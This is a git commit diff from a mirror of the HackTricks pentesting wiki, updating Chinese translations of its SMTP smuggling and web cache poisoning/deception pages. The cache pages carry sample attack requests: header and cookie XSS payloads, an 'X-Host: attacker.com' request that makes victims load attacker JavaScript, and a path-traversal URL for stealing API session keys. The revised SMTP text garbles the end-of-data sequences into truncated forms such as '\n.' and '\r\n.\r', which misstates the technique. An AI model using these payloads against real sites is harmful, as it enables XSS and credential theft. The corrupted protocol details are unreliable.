mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling.
This commit is contained in:
parent
02e44b4362
commit
7262cdb0db
12 changed files with 241 additions and 147 deletions
BIN
.gitbook/assets/image (1250).png
Normal file
BIN
.gitbook/assets/image (1250).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 33 KiB |
BIN
.gitbook/assets/image (1251).png
Normal file
BIN
.gitbook/assets/image (1251).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 29 KiB |
BIN
.gitbook/assets/image (1252).png
Normal file
BIN
.gitbook/assets/image (1252).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 32 KiB |
BIN
.gitbook/assets/image (1253).png
Normal file
BIN
.gitbook/assets/image (1253).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 30 KiB |
|
@ -531,6 +531,7 @@
|
|||
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
||||
* [Cache Poisoning via URL discrepancies](pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md)
|
||||
* [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md)
|
||||
* [Clickjacking](pentesting-web/clickjacking.md)
|
||||
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# SMTP Smuggling
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,14 +10,14 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
这种类型的漏洞最初是在 [**这篇文章中发现的**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/),文中解释了在最终确定电子邮件时,**利用 SMTP 协议解释中的差异进行攻击**是可能的,这允许攻击者在合法邮件的正文中走私更多邮件,从而冒充受影响域的其他用户(例如 admin@outlook.com),绕过 SPF 等防御措施。
|
||||
这种类型的漏洞最初是在 [**这篇文章中发现的**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/),文中解释了在完成电子邮件时,**利用 SMTP 协议解释的差异进行攻击**是可能的,这允许攻击者在合法邮件的正文中走私更多邮件,从而冒充受影响域的其他用户(例如 admin@outlook.com),绕过 SPF 等防御措施。
|
||||
|
||||
### 为什么
|
||||
|
||||
|
@ -30,14 +30,14 @@
|
|||
为了利用这个漏洞,攻击者需要发送一些数据,使得**出站 SMTP 服务器认为这只是 1 封邮件,但入站 SMTP 服务器认为有多封邮件**。
|
||||
|
||||
研究人员发现,不同的**入站服务器将不同的字符视为邮件消息数据的结束**,而出站服务器则不这样认为。\
|
||||
例如,常规的数据结束是 `\r\n.\r\n`。但是,如果入站 SMTP 服务器也支持 `\n.\n`,攻击者可以在其邮件中添加**该数据,并开始指示新的 SMTP 命令**以走私它,就像在前面的图像中一样。
|
||||
例如,常规的数据结束是 `\r\n.\r`。但是,如果入站 SMTP 服务器也支持 `\n.`,攻击者可以在其邮件中添加**该数据,并开始指示新的 SMTP 命令**以走私它,就像在前面的图像中一样。
|
||||
|
||||
当然,这只有在**出站 SMTP 服务器也不将这些数据视为消息数据的结束**时才有效,因为在这种情况下,它将看到 2 封邮件而不是 1 封,因此最终这是在此漏洞中被滥用的不同步。
|
||||
当然,这只有在**出站 SMTP 服务器也不将这些数据视为消息数据的结束**时才有效,因为在这种情况下,它将看到 2 封邮件而不是 1 封,因此最终这是在此漏洞中被利用的不同步。
|
||||
|
||||
潜在的不同步数据:
|
||||
|
||||
* `\n.\n`
|
||||
* `\n.\r\n`
|
||||
* `\n.`
|
||||
* `\n.\r`
|
||||
|
||||
还要注意,SPF 被绕过,因为如果你从 `user@outlook.com` 走私一封来自 `admin@outlook.com` 的邮件,**发件人仍然是 `outlook.com`。**
|
||||
|
||||
|
@ -46,8 +46,8 @@
|
|||
* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -55,7 +55,7 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,15 +1,15 @@
|
|||
# Cache Poisoning and Cache Deception
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -18,7 +18,7 @@
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
|
||||
今天就获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||
|
@ -27,12 +27,12 @@
|
|||
|
||||
> **Web 缓存中毒和 Web 缓存欺骗之间有什么区别?**
|
||||
>
|
||||
> * 在 **Web 缓存中毒**中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容从缓存中提供给其他应用程序用户。
|
||||
> * 在 **Web 缓存欺骗**中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
|
||||
> * 在 **Web 缓存中毒** 中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容从缓存中提供给其他应用程序用户。
|
||||
> * 在 **Web 缓存欺骗** 中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
缓存中毒旨在操纵客户端缓存,以强制客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
|
||||
缓存中毒旨在操纵客户端缓存,强迫客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
|
||||
|
||||
执行缓存中毒攻击涉及几个步骤:
|
||||
|
||||
|
@ -44,7 +44,7 @@
|
|||
|
||||
通常,当响应被 **存储在缓存中** 时,会有一个 **指示的头部**,您可以在此帖子中检查您应该关注哪些头部:[**HTTP 缓存头部**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
|
||||
|
||||
### Discovery: Caching error codes 
|
||||
### Discovery: Caching error codes
|
||||
|
||||
如果您认为响应正在被存储在缓存中,您可以尝试 **发送带有错误头部的请求**,这应该会以 **状态码 400** 响应。然后尝试正常访问请求,如果 **响应是 400 状态码**,您就知道它是脆弱的(您甚至可以执行 DoS)。
|
||||
|
||||
|
@ -64,23 +64,26 @@
|
|||
```
|
||||
### 引发后端服务器的有害响应
|
||||
|
||||
识别参数/头部后,检查它是如何被**清洗**的,以及**在哪里**被**反映**或影响头部的响应。你能以任何方式滥用它吗(执行XSS或加载你控制的JS代码?执行DoS?...)
|
||||
通过识别的参数/头部检查它是如何被**清理**的,以及**在哪里**它**被反映**或影响头部的响应。你能以任何方式滥用它吗(执行XSS或加载你控制的JS代码?执行DoS?...)
|
||||
|
||||
### 获取响应缓存
|
||||
|
||||
一旦你**识别**了可以被滥用的**页面**,使用哪个**参数**/**头部**以及**如何**滥用它,你需要让页面被缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。\
|
||||
响应中的头部**`X-Cache`**可能非常有用,因为当请求未被缓存时,它的值可能是**`miss`**,而当被缓存时,它的值是**`hit`**。\
|
||||
头部**`Cache-Control`**也很有趣,可以知道资源是否被缓存,以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`\
|
||||
另一个有趣的头部是**`Vary`**。这个头部通常用于**指示额外的头部**,这些头部被视为**缓存键的一部分**,即使它们通常没有键。因此,如果用户知道他所针对的受害者的`User-Agent`,他可以为使用该特定`User-Agent`的用户毒化缓存。\
|
||||
一旦你**识别**了可以被滥用的**页面**,使用哪个**参数**/**头部**以及**如何**滥用它,你需要让页面被缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
|
||||
|
||||
响应中的头部**`X-Cache`**可能非常有用,因为当请求未被缓存时,它的值可能是**`miss`**,而当它被缓存时,值为**`hit`**。\
|
||||
头部**`Cache-Control`**也很有趣,可以知道资源是否被缓存,以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`
|
||||
|
||||
另一个有趣的头部是**`Vary`**。这个头部通常用于**指示额外的头部**,这些头部被视为**缓存键的一部分**,即使它们通常没有键。因此,如果用户知道他所针对的受害者的`User-Agent`,他可以为使用该特定`User-Agent`的用户毒化缓存。
|
||||
|
||||
与缓存相关的另一个头部是**`Age`**。它定义了对象在代理缓存中存在的时间(以秒为单位)。
|
||||
|
||||
在缓存请求时,要**小心使用的头部**,因为其中一些可能会被**意外使用**为**键**,而**受害者需要使用相同的头部**。始终使用**不同的浏览器**测试缓存中毒,以检查其是否有效。
|
||||
在缓存请求时,要**小心使用的头部**,因为其中一些可能会被**意外使用**为**键**,而**受害者需要使用相同的头部**。始终使用**不同的浏览器测试**缓存中毒是否有效。
|
||||
|
||||
## 利用示例
|
||||
|
||||
### 最简单的示例
|
||||
|
||||
像`X-Forwarded-For`这样的头部在响应中未经过清洗地被反映。\
|
||||
像`X-Forwarded-For`这样的头部在响应中未经过清理地被反映。\
|
||||
你可以发送一个基本的XSS有效负载并毒化缓存,这样每个访问该页面的人都会受到XSS攻击:
|
||||
```markup
|
||||
GET /en?region=uk HTTP/1.1
|
||||
|
@ -105,13 +108,27 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
|||
```
|
||||
注意,如果易受攻击的 cookie 被用户频繁使用,常规请求将清除缓存。
|
||||
|
||||
### 利用路径遍历进行缓存中毒以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### 使用分隔符、规范化和点生成差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
检查:
|
||||
|
||||
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
|
||||
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 通过路径遍历进行缓存中毒以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过一个像 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容都会被缓存,而 Cloudflare 不会对 URL 进行规范化,这在请求到达 web 服务器时完成。
|
||||
|
||||
### 利用多个头部来利用 web 缓存中毒漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
这在以下内容中也有更好的解释:
|
||||
|
||||
有时你需要 **利用多个未键入的输入** 来滥用缓存。例如,如果你将 `X-Forwarded-Host` 设置为你控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,你可能会发现一个 **开放重定向**。**如果** 服务器 **将所有的 HTTP 请求转发到 HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名,你可以控制重定向指向的页面。
|
||||
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
|
||||
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 使用多个头部来利用 web 缓存中毒漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
有时您需要 **利用多个未键入的输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将所有 HTTP 请求转发到 HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
|
||||
```markup
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
|
@ -120,7 +137,7 @@ X-Forwarded-Scheme: http
|
|||
```
|
||||
### 利用有限的 `Vary`头
|
||||
|
||||
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**,但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么,你需要找到一种方法来提取受害者的 User-Agent 并使用该用户代理来污染缓存:
|
||||
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**,但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么,你需要找到一种方法来提取受害者的 User-Agent,并使用该用户代理来污染缓存:
|
||||
```markup
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
|
@ -129,7 +146,7 @@ X-Host: attacker.com
|
|||
```
|
||||
### Fat Get
|
||||
|
||||
发送一个带有请求的GET请求,URL和主体中都有请求。如果web服务器使用主体中的请求,但缓存服务器缓存了URL中的请求,那么任何访问该URL的人实际上将使用主体中的参数。就像James Kettle在Github网站上发现的漏洞:
|
||||
发送一个带有请求的 GET 请求,URL 和请求体中都包含该请求。如果 web 服务器使用请求体中的内容,但缓存服务器缓存了 URL 中的内容,那么任何访问该 URL 的人实际上将使用请求体中的参数。就像 James Kettle 在 Github 网站上发现的漏洞:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
|
@ -150,41 +167,29 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
|||
|
||||
在这里了解如何通过滥用 [HTTP 请求走私进行缓存中毒攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)。
|
||||
|
||||
### 自动化测试 Web 缓存中毒
|
||||
### Web 缓存中毒的自动化测试
|
||||
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) 可用于自动测试 Web 缓存中毒。它支持多种不同的技术,并且高度可定制。
|
||||
|
||||
示例用法: `wcvs -u example.com`
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
|
||||
今天就获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||
|
||||
|
||||
|
||||
## 漏洞示例
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS 在不去除 URL 中的片段的情况下转发了该片段,并仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求 `/#/../?r=javascript:alert(1)` 被发送到后端,作为 `/#/../?r=javascript:alert(1)`,而缓存键中没有负载,仅包含主机、路径和查询。
|
||||
ATS 在 URL 中转发了片段而没有去掉它,并仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求 `/#/../?r=javascript:alert(1)` 被发送到后端为 `/#/../?r=javascript:alert(1)`,而缓存键中没有负载,只有主机、路径和查询。
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
在内容类型头中发送错误值触发了 405 缓存响应。缓存键包含 cookie,因此只能攻击未认证用户。
|
||||
在内容类型头中发送错误值触发了 405 缓存响应。缓存键包含 cookie,因此只能攻击未授权用户。
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此,可以发送头部 `x-http-method-override: HEAD` 并使缓存中毒以返回空响应体。它还可以支持 `PURGE` 方法。
|
||||
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此,可以发送头部 `x-http-method-override: HEAD` 并使缓存返回空响应体。它还可以支持 `PURGE` 方法。
|
||||
|
||||
### Rack 中间件 (Ruby on Rails)
|
||||
|
||||
在 Ruby on Rails 应用程序中,通常会使用 Rack 中间件。Rack 代码的目的是获取 **`x-forwarded-scheme`** 头的值并将其设置为请求的方案。当发送头 `x-forwarded-scheme: http` 时,会发生 301 重定向到相同位置,可能导致该资源的拒绝服务 (DoS)。此外,应用程序可能会识别 `X-forwarded-host` 头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载 JavaScript 文件,从而带来安全风险。
|
||||
在 Ruby on Rails 应用程序中,通常使用 Rack 中间件。Rack 代码的目的是获取 **`x-forwarded-scheme`** 头的值并将其设置为请求的方案。当发送头 `x-forwarded-scheme: http` 时,会发生 301 重定向到相同位置,可能导致该资源的拒绝服务 (DoS)。此外,应用程序可能会识别 `X-forwarded-host` 头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载 JavaScript 文件,构成安全风险。
|
||||
|
||||
### 403 和存储桶
|
||||
|
||||
|
@ -192,7 +197,7 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
|
|||
|
||||
### 注入键参数
|
||||
|
||||
缓存通常在缓存键中包含特定的 GET 参数。例如,Fastly 的 Varnish 在请求中缓存了 `size` 参数。然而,如果还发送了 URL 编码版本的参数(例如,`siz%65`)并带有错误值,则缓存键将使用正确的 `size` 参数构建。然而,后端将处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码导致缓存省略该参数,但后端使用了它。将该参数的值设置为 0 会导致可缓存的 400 错误请求。
|
||||
缓存通常在缓存键中包含特定的 GET 参数。例如,Fastly 的 Varnish 在请求中缓存了 `size` 参数。然而,如果发送了 URL 编码版本的参数(例如,`siz%65`)并且值错误,缓存键将使用正确的 `size` 参数构建。然而,后端将处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码导致缓存省略了它,但后端使用了它。将该参数的值设置为 0 会导致可缓存的 400 错误请求。
|
||||
|
||||
### 用户代理规则
|
||||
|
||||
|
@ -200,7 +205,7 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
|
|||
|
||||
### 非法头字段
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头名称中可接受的字符。包含超出指定 **tchar** 范围的字符的头应理想地触发 400 错误请求响应。在实践中,服务器并不总是遵循此标准。一个显著的例子是 Akamai,它转发包含无效字符的头,并缓存任何 400 错误,只要 `cache-control` 头不存在。发现了一种可利用的模式,发送包含非法字符(如 `\`)的头会导致可缓存的 400 错误请求。
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头名称中可接受的字符。包含超出指定 **tchar** 范围的字符的头理想情况下应触发 400 错误请求响应。在实践中,服务器并不总是遵循此标准。一个显著的例子是 Akamai,它转发包含无效字符的头,并缓存任何 400 错误,只要 `cache-control` 头不存在。发现了一种可利用的模式,发送带有非法字符(如 `\`)的头会导致可缓存的 400 错误请求。
|
||||
|
||||
### 查找新头
|
||||
|
||||
|
@ -221,13 +226,13 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
|
|||
* _www.example.com/profile.php/%2e%2e/test.js_
|
||||
* _使用不太常见的扩展名,如_ `.avif`
|
||||
|
||||
另一个非常清晰的例子可以在这个报告中找到: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
|
||||
在这个例子中,解释了如果您加载一个不存在的页面,如 _http://www.example.com/home.php/non-existent.css_,将返回 _http://www.example.com/home.php_ (**包含用户的敏感信息**)的内容,并且缓存服务器将保存结果。\
|
||||
另一个非常清晰的例子可以在这个写作中找到: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
|
||||
在这个例子中,解释了如果您加载一个不存在的页面,如 _http://www.example.com/home.php/non-existent.css_,将返回 _http://www.example.com/home.php_ 的内容(**包含用户的敏感信息**),并且缓存服务器将保存结果。\
|
||||
然后,**攻击者**可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的 **机密信息**。
|
||||
|
||||
请注意,**缓存代理** 应该被 **配置** 为 **缓存** 文件 **基于** 文件的 **扩展名**(_.css_),而不是基于内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中,将具有 `text/html` 内容类型,而不是 `text/css` MIME 类型(这是 _.css_ 文件的预期类型)。
|
||||
请注意,**缓存代理** 应该 **配置** 为 **基于** 文件的 **扩展名** (_ .css_) 而不是基于内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中,将具有 `text/html` 内容类型,而不是 `text/css` MIME 类型(这是 _ .css_ 文件的预期)。
|
||||
|
||||
在这里了解如何进行 [利用 HTTP 请求走私进行缓存欺骗攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)。
|
||||
在这里了解如何通过滥用 HTTP 请求走私进行 [缓存欺骗攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)。
|
||||
|
||||
## 自动化工具
|
||||
|
||||
|
@ -245,22 +250,22 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
|
||||
今天就获取访问权限:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客攻击: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
